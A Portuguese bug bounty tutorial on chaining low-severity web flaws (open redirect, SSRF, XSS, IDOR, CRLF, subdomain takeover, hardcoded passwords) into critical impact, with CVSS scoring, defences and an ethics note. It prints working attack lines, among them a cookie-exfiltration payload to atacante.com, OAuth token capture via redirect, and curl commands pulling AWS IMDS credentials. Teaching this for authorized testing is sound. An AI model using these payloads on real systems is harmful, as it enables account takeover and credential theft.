Chaining de Vulnerabilidades: somando falhas 'pequenas' em algo crítico
Como pensar em primitivas e encadear bugs de baixa severidade até um impacto crítico — open redirect → roubo de token OAuth, SSRF → cloud metadata → credenciais → RCE, XSS → account takeover, senha hardcoded → 2FA → ATO e outras cadeias clássicas, com CVSS v3.1 e v4.0, anonimizadas e passo a passo.
Dois “low” que viram um “critical”
Você acha um Open Redirect. Manda o report. Volta: “Informational, sem impacto direto. Obrigado.” R$0.
Uma semana depois você percebe que aquele mesmo redirect mora dentro do fluxo de login social do alvo. Você o usa pra desviar o token de autenticação pro seu servidor. De repente o report deixou de ser “redirecionamento bobo” e virou roubo de conta de qualquer usuário, pago como crítico.
Não mudou a falha. Mudou a história. Esse é o coração do chaining: o que importa não é a severidade isolada de cada bug, é o impacto da cadeia inteira. Um caçador júnior reporta falhas avulsas; um sênior conecta falhas e entrega um impacto que o programa não tem como ignorar.
💡 ATO (Account Takeover) é tomada de conta: o atacante passa a controlar a conta de outro usuário (logar como ele, agir como ele). É o impacto “crítico” clássico. (Glossário)
Este é um post avançado. Se algum elo aqui for novidade, cada cadeia linka pro post dedicado da série. Vale ler Severidade, impacto e triagem antes. Chaining é, no fundo, engenharia de impacto.
O que é vulnerability chaining (e por que ele paga mais)
Vulnerability chaining (ou exploit chain) é encadear duas ou mais falhas, onde a saída de uma vira a entrada da seguinte, até chegar num impacto que nenhuma delas alcançaria sozinha.
Analogia: uma fechadura ruim no portão dos fundos não é grande coisa. Uma janela que não trava, também não. Mas portão ruim → quintal → janela destravada → cofre com a chave embaixo do tapete é um assalto completo. Cada elo é “bobo”; a corrente é um arrombamento.
Por que isso multiplica o bounty e impressiona o triador:
- O triador paga pelo impacto final, não pela classe. Um open redirect sozinho é Informational/Low. O mesmo redirect como peça de um Account Takeover é High/Critical. Você não inventou impacto. Você demonstrou o caminho até ele.
- Tira o “não há impacto demonstrável”. O motivo nº 1 de report rejeitado é justamente esse. A cadeia entrega o impacto numa bandeja.
- Mostra senioridade. Qualquer scanner acha um reflected XSS. Conectar XSS → roubo de sessão → ação privilegiada mostra que você entende o sistema, não só a sintaxe do payload.
📊 A regra de ouro do CVSS numa chain: pontue o RESULTADO, não as peças. Cada elo, isolado, tem um score baixo: um open redirect dá
CVSS:3.1~6.1, um info disclosure de UUID, ~5.3. Some-os e você ainda tem “vários médios”. O erro é reportar a média ou os elos separados. A cadeia inteira é um achado, e seu vetor descreve o impacto final: se o resultado é ATO de qualquer conta, o vetor é o de ATO (C:H/I:HouVC:H/VI:Hem v4.0), não o do redirect. Ao longo do post, cada cadeia mostra o v3.1 e o v4.0 do impacto final. É assim que você justifica o “Crítico” sem inflar. O v4.0 (FIRST, 2023) é especialmente útil aqui porque separa impacto no sistema (VC/VI/VA) de impacto subsequente (SC/SI/SA). E chain é, por definição, dano que pula de um sistema/contexto pro outro. Calibragem fina no post Severidade & Impacto.
💡 Primitiva: o “poder bruto” que uma falha te dá (ler um arquivo, escrever num campo, forçar uma requisição). É o tijolo com que você constrói a cadeia. Glossário
Pensa em primitivas, não em “bugs”
A virada de chave mental do chaining é parar de pensar “que bug é esse?” e começar a pensar “que primitiva isso me dá?”. Uma primitiva é uma capacidade concreta. Cadeias nascem quando uma primitiva alimenta a próxima.
| Falha | Primitiva que ela te dá |
|---|---|
| Open Redirect | Desviar a navegação/um valor da vítima pra um destino que você controla |
| SSRF | Fazer requisições server-side (de dentro da rede do alvo) |
| XSS | Executar JavaScript no contexto/origem da vítima (ler DOM, cookies, fazer requests autenticadas) |
| IDOR/BOLA | Ler/escrever objeto de outro usuário |
| Information Disclosure | Vazar um valor que você não deveria ver (ID, token, e-mail, versão) |
| Hardcoded secret / credencial-padrão | Uma credencial pronta (senha-padrão, chave, token) embutida no front/repo |
| CRLF Injection | Injetar na resposta HTTP (headers e/ou corpo) |
| LFI/Path Traversal | Ler arquivos arbitrários do servidor |
| Subdomain Takeover | Servir conteúdo seu sob um host legítimo do alvo |
💡 No SSRF (Server-Side Request Forgery) você faz o servidor do alvo disparar uma requisição pra um endereço que você escolhe. Serve pra alcançar serviços internos que você nunca acessaria de fora. (Glossário)
A pergunta-motor do chaining é simples e você repete o tempo todo:
“E se eu ligar o X com o Y?” Tenho um vazamento de UUID (X) e um IDOR que precisava justamente de um UUID válido (Y)? Liguei. Tenho um redirect (X) e um fluxo OAuth que confia no
redirect_uri(Y)? Liguei.
Daqui pra frente, cada cadeia segue o mesmo esqueleto: Primitiva inicial → ponte → impacto final.
Cadeia 1 — Open Redirect → roubo de token OAuth
A clássica que abriu o post. Sozinho, o open redirect quase não vale; ligado ao login social, vira ATO.
💡 OAuth: protocolo de “login com Google/Facebook/etc.” e de autorização entre apps. Em vez de dar sua senha pro app, o provedor devolve um token pra ele. Glossário
💡
redirect_uri: o endereço pra onde o provedor OAuth manda ocode/tokendepois que você autoriza. É o parâmetro que o atacante quer controlar. Glossário
Primitivas: open redirect em app.exemplo.com + validação fraca de redirect_uri no fluxo OAuth.
O passo a passo:
- Acho o redirect. Em
app.exemplo.comexiste um endpoint que reflete a URL de destino sem validar o host:1
https://app.exemplo.com/go?next=//atacante.com # <- sai do domínio: redirect aberto
- Vejo como o
redirect_urié validado. Muitos provedores fazem prefix match: aceitam qualquerredirect_urique comece com o domínio confiável. Ou seja,https://app.exemplo.com/...passa, mesmo que dentro dele haja um redirect aberto. - Monto a URL de autorização apontando o
redirect_uripro open redirect do próprio alvo:1 2 3 4
GET /authorize?client_id=123&response_type=token &redirect_uri=https://app.exemplo.com/go?next=//atacante.com # <- elo da cadeia &scope=profile HTTP/2 Host: login.provedor.comUso
response_type=token(fluxo implicit): o token volta no fragmento (#access_token=...) da URL. - Engano a vítima a clicar no link enquanto está logada no provedor. Ela autoriza (ou já autorizou antes, aí nem clica em nada), o provedor responde
302 Location: https://app.exemplo.com/go?next=//atacante.com#access_token=..., e o/goredireciona pro meu servidor levando o fragmento junto.💡 Por que o
#access_tokensobrevive ao redirect: o fragmento (#...) nunca é enviado ao servidor: fica no browser. Mas, por convenção dos navegadores (comportamento do WHATWG Fetch/URL, já que a RFC 9110 §10.2.2 define oLocationcomo partial-URI, mas não exige isso), quando oLocationde um3xxnão tem fragmento próprio, o navegador reanexa o fragmento da URL original ao novo destino. Como//atacante.comnão traz fragmento, o#access_token=...é herdado e cai no meu domínio. É exatamente esse comportamento que faz a cadeia funcionar. - Capturo o token. Meu servidor (ou um pouco de JS lendo
location.hashna minha página) recebe#access_token=.... Com ele, chamo a API do provedor como a vítima. Account Takeover.
Por que funciona: o provedor validou só que o redirect_uri começava com o host confiável. E o host confiável tinha um redirect aberto. Detalhes do fluxo no post de Account Takeover e do trampolim em Open Redirect.
📊 Como pontuar (resultado = ATO via roubo de token): sozinho, o open redirect é
CVSS:3.1~6.1 (Médio); ninguém paga crítico por ele. Mas o impacto da chain é tomar a conta de qualquer usuário, então você pontua o ATO: v3.1 9.3 (Crítico)AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N· v4.0 9.3 (Crítico)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N. Repare: mesmo comUI:R(a vítima precisa abrir o link) já é Crítico. Quem puxa pra 9.3 é a combinaçãoScope:Changed+C:H/I:H(o dano cai na conta da vítima, outro sistema), não a interação. Se o ataque dispara sozinho (UI:N), beira 10.0. Note: oS:C(v3.1) e oSC:H/SI:H(v4.0) refletem que o dano acontece num outro sistema (a conta da vítima no provedor), exatamente o que o trampolim faz.
⚠️ Mesmo no fluxo authorization code, dá pra encadear. Aqui o
codevolta na query string (?code=...), não no fragmento. Então a captura é diferente: ou o open redirect repassa a query inteira pro atacante, ou um recurso externo na página de callback vaza ocodevia headerReferer. De posse docode, o atacante o troca por token. (PortSwigger documenta as duas variantes em OAuth.)
Cadeia 2 — SSRF → cloud metadata → credenciais → escalada
A cadeia que transforma um “o servidor faz uma request estranha” em comprometimento da infra.
💡 Cloud metadata é um serviço interno que toda VM em nuvem expõe num IP fixo (
169.254.169.254) com dados da instância, incluindo, às vezes, credenciais temporárias da role atribuída a ela. Glossário
Primitivas: SSRF (forço o servidor a fazer requests) + um endpoint de metadados que devolve credenciais + uma role com permissões generosas.
💡 IMDS / IMDSv2 é o Instance Metadata Service, justamente esse serviço de metadados em
169.254.169.254. A v2 exige pegar um token antes de ler (um freio anti-SSRF); a v1 não exigia nada. (Glossário)
O passo a passo (AWS, IMDSv2):
- Tenho um SSRF. Algum recurso onde a app busca uma URL que eu controlo: importador de imagem por URL, webhook, gerador de PDF, preview de link. Confirmo com OAST/Burp Collaborator que a saída sai de dentro da rede do alvo.
- Aponto pro endpoint de metadados. O IMDSv2 exige um token obtido via
PUTantes doGET. Se eu controlo só a URL e não os headers, isso pode bloquear. Mas muitos SSRFs permitem método/headers, ou o alvo ainda aceita IMDSv1 (sem token). Com IMDSv2:1 2 3 4 5 6 7 8
# 1) pega o token de sessão (PUT com header de TTL) TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") # 2) usa o token pra listar a role e ler as credenciais curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # nome da role curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME_DA_ROLE
- Recebo credenciais temporárias. A resposta traz
AccessKeyId,SecretAccessKeyeToken(STS) da role da instância. - Escalo, e muitas vezes chego a RCE. Com a CLI da nuvem, exporto essas chaves e assumo a identidade do servidor: leio buckets, filas, bancos, tudo que aquela role puder tocar. Se a role for over-privileged (comum), o impacto vira full account compromise. E há um elo a mais que fecha em execução de código: se a role tem
ssm:SendCommand(AWS Systems Manager) oulambda:UpdateFunctionCode/InvokeFunction, você roda comandos no host ou injeta código numa Lambda. Credenciais cloud viram RCE sem precisar de mais nenhuma falha de aplicação. (Mapa dos vetores cloud, S3, segredos, IMDS, escalada IAM, no post Cloud / AWS Misconfiguration.)
Por que funciona: SSRF dá o poder de bater no 169.254.169.254, que normalmente só a própria VM alcança. E esse endpoint distribui credenciais. A primitiva “request server-side” virou “credenciais de produção” e, com a permissão IAM certa, virou comando executado no servidor. Aprofundamento em SSRF, na superfície cloud em Cloud / AWS Misconfiguration e no salto pra execução em RCE.
📊 Como pontuar (resultado = comprometimento da infra / RCE): o SSRF “cego” isolado costuma cair em Médio; aqui o impacto final é credenciais de produção (e, com IAM folgada, RCE), então você pontua o comprometimento: v3.1 9.1–9.9 ex.:
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H(9.9, role over-privileged, exige só uma conta logada pra acionar o SSRF) · v4.0 9.4 (Crítico)CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H. Se o SSRF é acionável sem autenticação (PR:N), vai a 10.0. OSC/SI/SA:Hdo v4.0 captura bem o caso: o estrago vaza da app pra toda a conta cloud.
⚠️ IMDSv2 não é mágica. Ele mitiga SSRFs simples (só-URL) porque exige o
PUT+token e negaPUTcomX-Forwarded-For. Mas SSRFs que controlam método/headers ainda chegam lá. A defesa de verdade é bloquear169.254.169.254na saída e forçar IMDSv2 com hop limit 1.
Cadeia 3 — XSS → roubo de sessão / CSRF → Account Takeover
XSS refletido isolado costuma pagar pouco (e às vezes é classificado como Low). Encadeado, vira controle de conta.
💡 A sessão é a credencial que mantém você “logado” entre requests, normalmente um cookie ou token. Quem rouba a sessão vira você sem precisar da senha. Glossário
💡 CSRF (Cross-Site Request Forgery): enganar o navegador da vítima pra disparar uma ação autenticada que ela não quis (a request sai com os cookies dela). A “proteção CSRF” é um token secreto que valida que a ação partiu da página legítima. (Glossário)
Primitivas: XSS (executo JS na origem da vítima) + ausência de HttpOnly/proteção CSRF + um fluxo sensível (trocar e-mail/senha).
Dois caminhos, dependendo das defesas:
Caminho A — roubo de cookie (se faltar HttpOnly):
1
2
// payload do XSS armazenado/refletido
new Image().src = 'https://atacante.com/c?'+document.cookie; // <- exfiltra a sessão
Pego o cookie, reuso, estou logado como a vítima.
Caminho B — o XSS executa a ação (mesmo com HttpOnly): Cookie HttpOnly o JS não lê. Mas o JS roda na origem da vítima, com a sessão dela. Então não preciso roubar o cookie: eu disparo a request privilegiada de dentro, o que de quebra anula a proteção CSRF (a request sai do contexto legítimo):
1
2
3
4
5
6
7
8
9
// troca o e-mail da conta usando a própria sessão da vítima
fetch('/api/account/email', {
method: 'POST',
credentials: 'include', // <- vai com o cookie HttpOnly junto
headers: {'Content-Type':'application/json',
'X-CSRF-Token': document.querySelector('meta[name=csrf]').content}, // pego o token do DOM
body: JSON.stringify({email: 'atacante@evil.com'})
});
// depois disparo o "esqueci a senha" pro novo e-mail -> ATO
Por que funciona: XSS é, na prática, executar código como a vítima. Daí pra ATO é só escolher qual ação valiosa disparar. Note como esse caminho dispensa o roubo de cookie: é a resposta pra quem acha que HttpOnly sozinho mata XSS. Variações de payload e contexto em XSS; o fluxo de ATO em Account Takeover.
💡 Padrão de impacto que o triador adora: um XSS sozinho às vezes é Low; “XSS no host X mais o swap de sessão que rouba o JWT (JSON Web Token, um token de sessão/login assinado, transportado em cookie ou header) ou o cookie” costuma ser o que destrava o impacto alto. Sem o vetor de roubo, a story fica fraca.
📊 Como pontuar (resultado = ATO): um reflected XSS isolado é ~6.1 (Médio). Encadeado até tomar a conta, você pontua o ATO com a interação que o XSS exige (a vítima abre o link/página): v3.1 9.3 (Crítico)
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N· v4.0 9.3 (Crítico)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N. Se for stored XSS num lugar que a vítima visita no fluxo normal (sem link enviado), dá pra defenderUI:N/UI:Pe o score sobe. O Caminho B (XSS executa a ação) tem o mesmo impacto final, mesmo comHttpOnly: o cookie não sai, mas a conta cai igual.
Cadeia 4 — IDOR + Information Disclosure → vazamento em massa
Às vezes o IDOR sozinho não fecha porque o identificador não é adivinhável (UUID, hash). A peça que falta é um vazamento que te entrega os IDs.
Primitivas: Information Disclosure (vaza identificadores) + IDOR (lê objeto por identificador) → enumeração em escala.
O passo a passo:
- Acho o IDOR, mas trava no ID. O endpoint
GET /api/clientes/{uuid}devolve dados de qualquer cliente. Só queuuidé um UUID v4, impossível de chutar. IDOR “real”, impacto “teórico”. - Caço o vazamento de IDs. Um endpoint de listagem/busca, um JS, uma notificação ou um e-mail expõe os identificadores. Exemplo: uma rota de “busca pública” devolve, sem precisar de autorização, os UUIDs:
1 2 3 4 5
GET /api/search?q=a HTTP/2 Host: app.exemplo.com HTTP/2 200 OK [{"uuid":"4f9c...-a1","nome":"Cliente A"}, {"uuid":"7b2d...-c3","nome":"Cliente B"}, ...]
- Ligo os dois. Coletei centenas de UUIDs (X) → alimento o IDOR (Y), enumerando:
1 2
GET /api/clientes/4f9c...-a1 HTTP/2 # nome, CPF, endereço de quem nunca conheci GET /api/clientes/7b2d...-c3 HTTP/2 # próximo da lista - Demonstro escala. Com Burp Intruder percorrendo a lista de UUIDs vazados, baixo PII (Personally Identifiable Information, os dados pessoais que identificam alguém: nome, CPF, e-mail, endereço) de toda a base. Saiu de “IDOR com ID inadivinhável” pra vazamento massivo de dados pessoais. Agora cai em LGPD e severidade crítica.
Por que funciona: o IDOR sempre teve a primitiva de leitura; faltava o espaço de busca. O disclosure preencheu. Como reportar IDOR com impacto e escala está em Broken Access Control.
📊 Como pontuar (resultado = vazamento de PII em massa): um IDOR de leitura isolado já é ~6.5; o que sobe o score é o escopo cruzar pra outras contas + a escala. Vetor: v3.1 7.7 (Alto)
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N(oS:Creflete dado de outro usuário; só confidencialidade, daíI:N/A:N) · v4.0 8.3 (Alto)CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N. Muitos programas pagam como Crítico pela escala + LGPD, mesmo com o vetor em Alto. Argumente o número de registros e a sensibilidade (CPF), como detalhado em Severidade & Impacto.
Cadeia 5 — CRLF → response splitting → XSS / cache poisoning
CRLF injection sozinho (“consegui injetar um header”) costuma ser Low. Encadeado, vira XSS sem campo de input, ou pior, envenena o cache pra todo mundo.
💡 Cache poisoning: fazer um proxy/CDN guardar uma resposta maliciosa e servi-la a outros usuários que nem chegaram a tocar no seu payload. Glossário
Primitivas: CRLF (%0d%0a injeta na resposta) → controlar headers e/ou o corpo da resposta.
O passo a passo:
- Confirmo o CRLF. Um parâmetro reflete
%0d%0a(CR LF = fim de linha do HTTP) num header da resposta:1 2
GET /redir?url=/%0d%0aX-Injetado:teste HTTP/2 # <- a quebra cria um header novo Host: app.exemplo.comSe
X-Injetado: testeaparece na resposta, controlo a estrutura dela. - Faço response splitting → XSS. Injeto duas quebras (
%0d%0a%0d%0aencerra os headers e abre o corpo) e escrevo HTML:1
/redir?url=/%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(document.domain)</script>
O navegador renderiza meu HTML como se fosse a página: XSS sem nenhum campo de input, vindo de um header.
- Escalo pra cache poisoning. Se um CDN/proxy cacheia essa resposta por uma chave que a vítima também usa, meu HTML malicioso passa a ser servido a todos que pedirem a mesma URL. Vira XSS persistente em escala, sem precisar enganar ninguém individualmente.
Por que funciona: a primitiva do CRLF é “escrever na resposta”. Escrever um header → XSS. Fazer essa resposta ser cacheada → impacto coletivo. Mecânica do %0d%0a e de smuggling em CRLF Injection e Request Smuggling.
⚠️ Nem todo CRLF vira XSS: browsers e proxies modernos mitigam parte do response splitting. Mas mesmo só “injetar header” pode habilitar outras cadeias (ex.: setar um cookie de sessão controlado → session fixation).
Cadeia 6 — Subdomain Takeover → roubo de cookie / phishing no domínio da vítima
Um subdomínio “dangling” parece inofensivo até você perceber o que ele herda do domínio-pai: confiança, cookies e credibilidade.
Primitivas: Subdomain Takeover (sirvo conteúdo meu sob sub.alvo.com) + cookies/CORS com escopo amplo + a confiança que o usuário tem no domínio.
O passo a passo:
- Acho o dangling DNS.
promo.alvo.comtem umCNAMEapontando pra um serviço (S3/Pages/Heroku) que foi desprovisionado. Confirmo comdige a fingerprint de “não reclamado” (detalhes em Subdomain Takeover). - Reivindico o recurso. Crio o bucket/app com aquele nome. Agora eu sirvo o conteúdo de
promo.alvo.com. O subdomínio é “meu”, mas com a marca e o domínio do alvo. - Encadeio com cookies de escopo amplo. Se o alvo seta cookies pra
.alvo.com(domínio-pai), o navegador os envia também prapromo.alvo.com. Meu JS lá hospedado lê e exfiltra cookies não-HttpOnlyda sessão da vítima. Ou, com CORS mal configurado confiando em*.alvo.com, faço requests autenticadas pra API principal. - Ou monto o phishing perfeito. Hospedo uma página de “re-login” idêntica sob
promo.alvo.com, com URL legítima e HTTPS válido. A vítima digita as credenciais sem desconfiar, porque está, de fato, num subdomínio do alvo.
Por que funciona: o takeover dá um ponto de apoio dentro do perímetro de confiança do alvo. Cookie amplo + CORS folgado + confiança do usuário transformam “subdomínio abandonado” em roubo de sessão ou phishing premium. Recon e confirmação em Subdomain Takeover e Broken Link Hijacking.
Cadeia 7 — Senha hardcoded no JS → enumeração de usuários → 2FA do atacante → ATO
Essa cadeia mostra que chaining não é só primitiva web clássica: aqui os elos são um info disclosure no front-end, reuso de credencial e uma falha no fluxo de 2FA. Sozinho, “tem uma senha no JavaScript” rende um Médio morno. Encadeado, vira ATO de contas internas.
Primitivas: senha-padrão fixada no JS (information disclosure) + lista de usuários enumerável + 2FA que pode ser registrado pela primeira vez sem provar posse da conta.
O passo a passo:
- Acho a senha hardcoded. No bundle do front (
main.<hash>.js) existe uma senha-padrão de reset embutida, algo como uma constante usada no fluxo de “primeiro acesso”. Procuro por padrões comologin.novaSenhaou strings de senha (Senha@123) no JS minificado.💡 Se source maps estiverem habilitados, o JS desofuscado expõe ainda mais. Vale checar
.js.map. (Onde segredos vazam no front: Cloud / AWS Misconfiguration e Security Misconfiguration.) - Monto a lista de usuários. A senha sozinha não serve sem contra quem usá-la. Coleto e-mails corporativos do domínio (OSINT de e-mails/funcionários) e derivo os logins removendo o
@dominio. Viram uma wordlist de usuários prováveis. - Ligo os dois: credential stuffing com a senha-padrão. Para cada usuário da lista, tento logar com a senha-padrão vazada. Quem nunca trocou a senha de primeiro acesso (sempre tem alguém) entra.
- Sequestro o 2FA. Nas contas onde o login funcionou mas o 2FA ainda não foi configurado, o app me deixa cadastrar o segundo fator no meu próprio dispositivo (TOTP/telefone). A partir daí a conta é minha de ponta a ponta, inclusive contra o dono legítimo. ATO completo.
Por que funciona: cada peça é “pequena”: uma senha exposta, uma lista de e-mails pública, um 2FA que confia em quem chega primeiro. Juntas, contornam autenticação e o segundo fator. O detalhe que fecha a cadeia é o 2FA registrável sem prova de posse: se o app exigisse a senha atual (não a padrão) ou verificasse posse antes de enrolar o fator, o último elo cairia. Fluxo de ATO e bypass de 2FA a fundo em Account Takeover.
📊 Como pontuar (resultado = ATO de contas internas, sem login prévio): o atacante é anônimo até logar, então o vetor é de ATO não-autenticado: v3.1 9.8 (Crítico)
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(conta o lock-out do dono comoA:H) · v4.0 9.3 (Crítico)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Mesmo que “só” funcione em quem não trocou a senha-padrão, o impacto por conta tomada é total.
⚠️ Pare no PoC mínimo. Esta cadeia mira contas reais de pessoas. Demonstre com uma conta (idealmente de teste/sua, ou com autorização explícita do programa), não enumere a base inteira. Logar em conta alheia sem autorização é crime. Veja a Nota ética.
Metodologia: como caçar cadeias de propósito
Chaining não é sorte, é método. Depois do recon, faça isto:
- Inventário de primitivas. Pra cada achado (mesmo os “low” e “info”), anote a primitiva, não o nome: “redirect aberto em
/go“, “vaza UUID em/search“, “reflexão de header via CRLF”. Mantenha essa lista do lado. - Mapeie os “sinks” valiosos. Onde mora o impacto? Fluxo de login/OAuth, troca de e-mail/senha, área de pagamento, endpoints de admin, integrações em nuvem. São os destinos pra onde você quer levar suas primitivas.
- Pergunte “e se eu ligar X com Y?” sistematicamente. Cruze cada primitiva com cada sink:
- Tenho um disclosure de ID? → tem IDOR esperando esse ID?
- Tenho um redirect? → tem OAuth/SSO que confia em
redirect_uri? - Tenho um SSRF? → roda em nuvem? alcança metadata/serviços internos?
- Tenho um XSS? → que ação privilegiada eu disparo da origem da vítima?
- Tenho um self-XSS (só na minha conta)? → tem login CSRF / um jeito de logar a vítima na minha conta pra transformar em XSS “de verdade”?
- Achei uma senha/chave hardcoded? → tem como derivar uma lista de usuários (e-mails do domínio) e reusar? o 2FA pode ser cadastrado pela primeira vez sem provar posse?
- Construa o caminho mais curto até o impacto mais alto. Pare quando a história ficar inegável.
💡 Ouro escondido: falhas que sozinhas “não têm impacto” (self-XSS, open redirect, CSRF de login, info disclosure) são peças premium de cadeia. Não descarte, guarde no inventário. Muito report rejeitado por “sem impacto” volta como crítico quando ganha um segundo elo.
Como reportar um chain (sem perder o impacto no caminho)
O erro fatal é reportar os elos separados: cada um cai como Low e você perde o crítico. Reporte a cadeia como uma narrativa única, mostrando o caminho completo do início ao impacto final:
- Resumo orientado a impacto, primeiro. “Encadeando um open redirect com a validação fraca de
redirect_urino login social, um atacante assume a conta de qualquer usuário (ATO).” O triador precisa ver o crítico na primeira linha. - Liste os elos como uma cadeia numerada. Elo 1 (primitiva) → Elo 2 (ponte) → Impacto. Deixe explícito como a saída de um vira entrada do outro.
- PoC ponta a ponta. Não pare no
alert(1)nem no “header injetado”. Vá até o token roubado / a conta tomada / a PII enumerada. Prints e requests de cada elo. (Formato campeão em Como escrever um report que paga.) - Justifique a severidade pela cadeia, citando CVSS/impacto final, não pela média dos elos. Argumentação de severidade em Severidade, impacto e triagem.
- Antecipe o “downgrade”. Se um elo depender de interação do usuário (clicar num link), diga isso e mostre por que ainda é realista.
Defesa: quebre qualquer elo e a cadeia cai
A boa notícia da defesa: você não precisa consertar tudo. Toda cadeia tem o impacto que tem porque todos os elos falharam. Quebre um elo e o crítico não se forma.
- OAuth (Cadeia 1): valide
redirect_uripor match exato (allowlist), nunca por prefixo; usestate; prefira authorization code + PKCE ao implicit. E elimine open redirects (allowlist de destinos). - SSRF/metadata (Cadeia 2): bloqueie
169.254.169.254e ranges internos na saída; force IMDSv2 com hop limit 1; aplique least privilege na role da instância (mesmo com SSRF, role sem permissão = pouco dano). - XSS/ATO (Cadeia 3): output encoding + CSP matam o XSS; cookies
HttpOnly+Secure+SameSitee re-autenticação em ações sensíveis (pedir senha pra trocar e-mail) quebram o passo final. - IDOR+disclosure (Cadeia 4): checagem de dono por objeto no servidor (mata o IDOR) e não vaze identificadores em endpoints sem autorização.
- CRLF (Cadeia 5): nunca reflita input em headers; sanitize
\r/\n; configure o cache pra não cachear respostas com input refletido. - Subdomain Takeover (Cadeia 6): higiene de DNS (remova
CNAMEao desprovisionar); cookies com escopo mínimo (host-only, não.alvo.com); CORS sem curinga em subdomínio. - Hardcoded → 2FA (Cadeia 7): nunca embuta credenciais/senhas-padrão no front-end (nem em source maps); force a troca da senha de primeiro acesso; e exija prova de posse (senha atual ou link de verificação) antes de registrar o primeiro fator de 2FA. Não confie em “quem chega primeiro”.
Princípio mestre: defense in depth existe justamente porque uma camada falha. Cada controle redundante é um elo a menos disponível pra quem encadeia.
Ferramentas + labs legais
- Burp Suite: Repeater (testar cada elo), Intruder (enumerar na Cadeia 4), Collaborator/OAST (confirmar SSRF na Cadeia 2). Veja Recon & Discovery.
- Labs autorizados pra praticar cadeias:
- PortSwigger Web Security Academy, com labs de OAuth, SSRF, XSS e request smuggling que já são, na prática, mini-cadeias.
- PentesterLab e TryHackMe / HackTheBox, com máquinas que exigem encadear pra chegar no objetivo.
- Estudo de chains reais: a lista reddelexc/hackerone-reports reúne centenas de reports divulgados. Leia os de severidade alta e repare como quase sempre são cadeias, não bugs únicos.
Checklist do caçador de cadeias
- Anotei a primitiva de cada achado (até os “info”/”low”), não só o nome da classe.
- Mapeei os sinks valiosos (OAuth, reset de senha, pagamento, admin, nuvem).
- Cruzei cada primitiva com cada sink perguntando “e se eu ligar X com Y?”.
- Tentei transformar self-XSS / open redirect / CSRF de login em peças de cadeia.
- Em alvo cloud, testei SSRF → metadata (respeitando o escopo).
- Levei a PoC até o impacto final (token roubado, conta tomada, PII em massa).
- Reportei a cadeia inteira numa narrativa, com severidade justificada pelo elo final.
Pegadinhas / o que NÃO funciona
- ❌ Reportar os elos separados. Vira N× Low em vez de 1× Critical. Junte na história.
- ❌ Parar no
alert(1)/no header injetado. Sem o impacto final demonstrado, o triador faz downgrade. Vá até o fim. - ❌ Inventar elo que você não provou. “Daria pra escalar pra RCE” sem PoC não conta, e ainda queima sua credibilidade. Demonstre cada passo.
- ❌ Achar que IMDSv2 /
HttpOnly/ UUID matam a cadeia sozinhos. São um elo. Bons defensores empilham camadas justamente porque uma cai.
O que você precisa lembrar
- O triador paga pelo impacto da cadeia, não pela severidade isolada dos elos.
- Pense em primitivas (o que a falha te dá), não em nomes de bug. Cadeias nascem ligando primitiva → ponte → impacto.
- A pergunta-motor é “e se eu ligar X com Y?”, e os melhores X’s costumam ser os achados “sem impacto”.
💡 Dica de ouro: antes de descartar um “low”, pergunte “isso é entrada de alguma coisa maior?”. Open redirect, self-XSS, info disclosure e CSRF de login são, sozinhos, migalhas. Encadeados, são os elos que viram os maiores bounties da sua vida.
Nota ética
Cadeias amplificam impacto, e impacto real causa dano real. Tudo aqui é pra alvos autorizados: bug bounty dentro do escopo, pentests contratados e labs legais. Encadear até credenciais de nuvem ou PII em sistemas de terceiros sem autorização é crime e fere pessoas reais. Pare no PoC mínimo que prova a cadeia: não baixe a base inteira de PII, não use credenciais cloud pra mais do que listar a permissão, não persista acesso. Demonstre, documente, reporte com responsabilidade.
Referências
- OWASP Top 10 (2021): as classes que viram elos.
- PortSwigger — OAuth 2.0 authentication vulnerabilities (roubo de token via
redirect_uri). - PortSwigger — Server-side request forgery (SSRF).
- AWS — How Instance Metadata Service Version 2 works (IMDSv2) (token,
169.254.169.254,iam/security-credentials/). - AWS — Defense in depth contra SSRF no IMDS (por que o IMDSv2 nega
PUTcomX-Forwarded-Fore usa hop limit 1). - FIRST — CVSS v4.0 Calculator e Specification: pontuar o impacto final da chain (sistema vs. subsequente).
- RFC 9110 §10.2.2 — Location (reanexação do fragmento pelos navegadores no redirect, base da Cadeia 1).
- PortSwigger — Cross-site scripting (XSS) e Web cache poisoning.
- OWASP — CRLF Injection.
- reddelexc/hackerone-reports: reports divulgados pra estudar cadeias reais.
Relacionado na série: Open Redirect · SSRF · Cloud / AWS Misconfiguration · RCE, Command Injection e SSTI · XSS e HTML Injection · Account Takeover · Broken Access Control (IDOR/BOLA/BFLA) · CRLF e Request Smuggling · Subdomain Takeover · Severidade e triagem · Como escrever um report que paga
📚 Parte do Guia Completo de Bug Bounty: o índice da série, do básico ao avançado.
